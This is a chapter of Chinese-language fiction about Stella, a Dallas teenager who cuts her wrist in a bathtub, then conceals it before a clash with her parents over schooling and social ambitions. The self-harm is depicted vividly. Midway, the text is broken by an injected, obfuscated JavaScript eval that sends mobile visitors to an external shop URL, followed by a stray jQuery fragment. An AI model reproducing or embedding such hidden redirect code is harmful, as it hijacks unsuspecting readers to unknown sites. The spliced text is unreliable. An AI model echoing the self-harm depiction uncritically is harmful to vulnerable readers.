没有人理解他人的喜悦,没有人理解他人的悲伤。我们相信人可以心灵相通,可实际上,我们只是靠近并错过彼此。意识到真相的人,该是何等心伤。
弗朗茨·舒伯特
2011年8月27日
8月份的达拉斯热到让人窒息。已经过了下午五点,气温将近40度,烈日灼烧大地。把百叶窗挑开一条缝往外面看一眼,刺眼的阳光逼的人即使饿死,也绝不踏出房门一步。
白岩湖的东北角坐落着一座优雅却摩登的南方风格的房子。穿过双层门,玄关大理石桌上的花瓶里插了一束火红盛开的玫瑰。走近了才看清那根本不是花,而是由金属制成,可以充当凶器。但也不是完全的冰冷,花瓣上点缀着数百颗小小的露珠状的人工水晶,搭配上方为它设计的吊灯,花朵愈发鲜艳欲滴。花茎很长且锋利。锋利到足以捅进一个成年人的胸膛。
走到楼梯拐角,一旁的房间里有架施坦威D型号三角钢琴。没有人弹奏,钢琴声是从楼上渗下来的。上楼一直走到尽头,门关着。
门里面是洗手间,分为两间。里面那间靠墙摆放着浴缸。一个女孩躺在里面,穿着白色背心和灰色裤子。一个白色的iPod Classic放在旁边的洗手池上。屏幕上显示 “弗朗茨·舒伯特G大调钢琴奏鸣曲, D. 894, Op. 78: Ⅰ”. 她最喜欢的曲子。这个女孩,Stella, 17岁,5.6英尺高,110磅,深褐色长头发。她把头伸出水面,向□□斜靠在浴缸上, 两只手都浸在水里。
当浴缸里的水掺杂进第一丝鲜红的时候,Stella觉得心里紧绷的地方突然放松了,痛苦似乎流走了,但只持续了一瞬间,痛苦又迅速集结。然后清澈的水里又加入了多一些又多一些的鲜红。她闭上眼睛。水慢慢得由清澈变成动人的浅粉,而后越来越红。Stella能感觉到自己在一点一点地融化。她的计划是等到整个舒伯特列表播完的时候,她就能化成音乐。那些个要求,压力,挫败,不正常,都和她没关系了。因为灵魂永远都是自由的。作为灵魂活着的每一秒都是崭新的,都是只属于自己的。她还有灵魂可期待。
非常不幸的,门口传来敲门声。有个男人叫她:“Stellie.” 这人是她爸 Victor Davis。
Stella依旧闭着眼,眉头皱起。她的演奏被打断了。
Victor: “Stellie, 是爸爸。晚宴八点举行,现在要开始准备了。你洗好了吗, sweetie?” 又敲了敲门:“今天不能迟到。”
就像乐团正在演奏交响乐,一个乐评家非要暂停,给听众解说这首曲子写的是什么。乐评家自认为掌握了真理,说个没完。
Stella仍旧躺在浴缸里,她转过头,朝向远离门的方向。一个女人的声音响起,这人是她妈 Regina Einhorn。
Regina音调毫无起伏:“Davis小姐,我给你十秒钟时间,然后我就让人把这扇门拆掉。从今天起你就用这个没有门的洗手间。”
Stella睁开眼睛,整个人像被从水底猛地拽回水面。左腕一阵剧痛,她用那只手撑着墙壁站起来,跨出浴缸,径直往门口走。然后她停住,转过身走到洗手池旁,打开上方的柜子,拿出创口贴贴上,又拿出一卷绷带随意地在手腕上缠了几圈。而后打开花洒冲洗浴缸。iPod还在播放。伴随着D. 894的旋律,案发现场的水被掩藏进下水道。
冲完浴缸,Stella捡起刚才随手扔在地上的金属,冲洗了一下,顺手塞进裤子口袋。又拿起花洒朝地上喷,把地砖上残留的红色稀释成被淹的浴室。接着她翻出一件长袖直接套在染红的湿衣服外面。清理完,她扫视一圈检查现场,发现创口贴的包装还在洗手台上,一起塞进口袋。总耗时两分钟。Stella关掉iPod, 打开门。Regina 已经离开了,Victor还站在走廊上。
Victor: “Stellie, 你全身都是湿的。洗完澡要用毛巾擦干。现在是很热,但是晚上会降温。”
Stella没理他,走进隔壁的房间,关上了门。
Victor的声音从另外一扇门后传来。还提高了音量:“你这样会感冒的.”
六点半。化妆间里,Stella身着一件红色长袖露肩蕾丝礼服。造型师的设想是把她打扮成一个大方得体,智慧且有修养的名门之女。这不难做到,只需一层又一层的包装。造型师助理把一双黑色高跟鞋放到她脚边。化妆师看了一眼镜子,又给她添上些腮红,觉得还不够,又添了些口红。Stella不愿看镜子里的人,她低垂着眼,茫然地盯着化妆桌发呆。化妆师和发型师不得不一直托着她的头,Stella像个了无生气的娃娃,任她们摆弄。
化妆间天花板悬着的吊灯,由上百片白孔雀的羽毛组成。设计师说灵感来自伊卡洛斯的翅膀。光线从层层叠叠的羽毛缝隙中漏出来。吊灯缓缓旋转,光影一刻不停地变换。
造型师,化妆师,发型师欣赏作品的时候,Victor端着一杯热牛奶走了进来,放在化妆桌上,朝着女士们非常有涵养地笑了下。她们收拾好东西出去了。Stella闻着牛奶的味道觉得反胃,她重重吐了口气,闭上眼睛。
Victor: “我给你倒了杯热牛奶,把它喝了,不要感冒了.”
Stella闭着眼睛没说话。
Victor: “Stellie, 我觉得你最近状态不好,你可以和爸爸说,任何事都可以.”
Stella闭着眼睛:“我很好。谢谢。”
吊灯的光落在Victor脸上,照亮他的眼睛。Victor: “你想不想出去玩?或者在其它地方住一阵.” Victor 叹了口气, “有时候我想我应该辞掉工作,带你四处看看。Sweetie, 你对我来说才是最重要的,工作就只是份工作而已。”
Stella睁开眼睛,看着镜子中的爸爸: “其它地方,哪里?”
吊灯缓慢地旋转着,一束长且狭窄的光束照在Victor的右脸上,左脸隐在黑暗里。Victor认真地点点头:“我知道你不喜欢达拉斯。旧金山怎么样?我们可以去那里玩。只要你喜欢,我就向董事会提交议案在那里建一座学校。旧金山也有适合你的高中。我的意思是说你得自己去看。我无法替你做决定。”
Stella盯着镜子:“你在这里也有学校,这里和那里有什么不同?”
Victor 把手放在Stella的椅背上: “我在旧金山长大, Stellie, 那里才是你的家乡。而且,那里有旧金山音乐学院,你不想去看看吗?”
Stella低头看了一会自己的手,然后抬头看镜子:“那我妈怎么办?”
Victor: “她的公司在这里。她是执行董事.”
吊灯转到了背面,厚厚的羽毛遮盖住光线。Victor没说下去,他和Stella就着昏暗的光影在镜子里看着对方。牛奶的气味让Stella不想废话。她直接说:“我不去。”
Victor: “我尊重你的想法.”
一阵连续的高音传来,Stella没说话,安静地从镜子里观察他。
Victor自顾自往下说: “但是Stellie, 你明年就要上大学了。现在就得开始申请。我在旧金山找了一个房子。”
Stella看着她爸停了下来。他听到了。那是高跟鞋踩在瓷砖上的声音。如果仔细听的话,这世界上每个人的脚步声都是不同的。连续又单调的高音,是妈妈的入场曲。Regina走进化妆间,Stella背对着她,看着镜子。
Regina在墙边的沙发上坐下: “Davis小姐,你已经成功吓跑了达拉斯所有的学校。但是你运气好,你是我的女儿。我给你找到了一所。得克萨斯圣马可学校,全国最好的私立学校之一。还得感谢你之前的成绩,为了能让你被录取,我得捐赠一笔巨款。你下周一就去那里报道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942559|213958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
Stella被她爸妈搞糊涂了。她从镜子里看着爸爸。Victor也看着女儿,没说话。Stella移开目光发现妈妈正瞪着她。她瞪了回去:“我不去.”
Regina板起脸: “你说什么?”
Victor打断她们: “Regina, Stellie现在的状态并不好。她还需要一段时间才能重新适应学校的生活.”
吊灯的光落在她脸上,照亮Regina的眼睛。她无动于衷:“她没有时间了。今天是8月27号。新的学年已经开始。她要做的就是扔掉她多愁善感的那套,振作起来。立刻着手申请大学。以她的成绩单,必须现在马上奋起直追。”
Victor看着妻子的眼神是不愿再克制的厌烦与不屑:“你人生中能不能有一次停下来喘口气。把她塞到另一所学校并不会有利于她的个人成长。”
Regina: “那你的专业意见是什么?”
Stella被卷入进一场战争,而且她莫名其妙地被归入她爸的阵营。
Victor思索了一会:“不如我抽出时间陪她去旅行。我们可以去奥地利.”
Regina对丈夫耗费好几秒得出的答案表示不可置信:“然后呢?明年再申请大学?花五年时间读高中?只有孬种才会在关键时刻止步不前.”
Regina把所有跟不上她节奏的人都定义为孬种,懦夫,废物。Stella从镜子里盯着她。Regina移开目光但还是高高在上:“圣马可的管弦乐部全国闻名,钢琴老师个个资历深厚。我已经预定了最好的那个,放学后Stella就跟着她一对一练习。”
Victor的厌烦和不屑只能转换成不忿:“如果你坚持让她在达拉斯上学的话,至少也应该去我的学校。我发起的教育改革,是为了实现社会平等。如果我的女儿去了一所精英私立学校,媒体会怎么写我?”
Regina直截了当:“你可以在世界上任何一个人身上做教育实验,除了我的女儿。”
Victor叹了口气。战争结束了,他们战败了。Stella疲惫地站起来,往门口走去。
吊灯旋转着照亮了Regina锋利的眼神,她不容拒绝地说:“还有一件事。”Stella停下脚步。
Regina: “我需要你今晚和Daisy谈谈.”
Stella: “谈什么?”
Regina: “关于沃尔特慈善基金会的法律顾问.”
Stella: “你要谈生意的话,请你直接去找她妈。她妈是基金会主席。你为什么要把我牵扯进去?”
Regina: “你认为和你没关系吗? 你是不是活在想象的世界里? 那里不用花钱。那里没有学校会要求天价捐款。”
Stella: “我和Daisy从8年级起就没说过话.”
司机走过来站在门外等待。
Regina: “你的同学们都是精英,是将来各个行业的领袖。你有责任维护和他们的关系。但是你一个都懒得认识。我花这么多钱你在学校到底学到了什么?”
Stella无所谓地说:“你以前跟我说上学是为了接受教育。下次你下达命令的时候,麻烦确保指令简单易懂。以我的成绩,我听不懂你没说出口的要求是什么。”
吊灯转到了背面,厚厚的羽毛遮盖住光线。Regina: “你以为我这么做是为了我自己吗?沃尔特慈善会是个超过三百亿美元的基金。是沃尔特集团最大的股东还全资控股了石油公司。Daisy是基金会董事。她是你必须维护的关系。当她爸爸过世的时候,我就告诉过你,那是接近她的最好时机。”
沉默。房间陷入一片死寂。司机此时上前一步说:“夫人,车已经准备好了。” 接着转身向屋外走去。
Stella声调毫无起伏:“你还真卑鄙。”她走出化妆间,紧接着Victor也走了出去。只剩战胜方坐在房间里,独享胜利。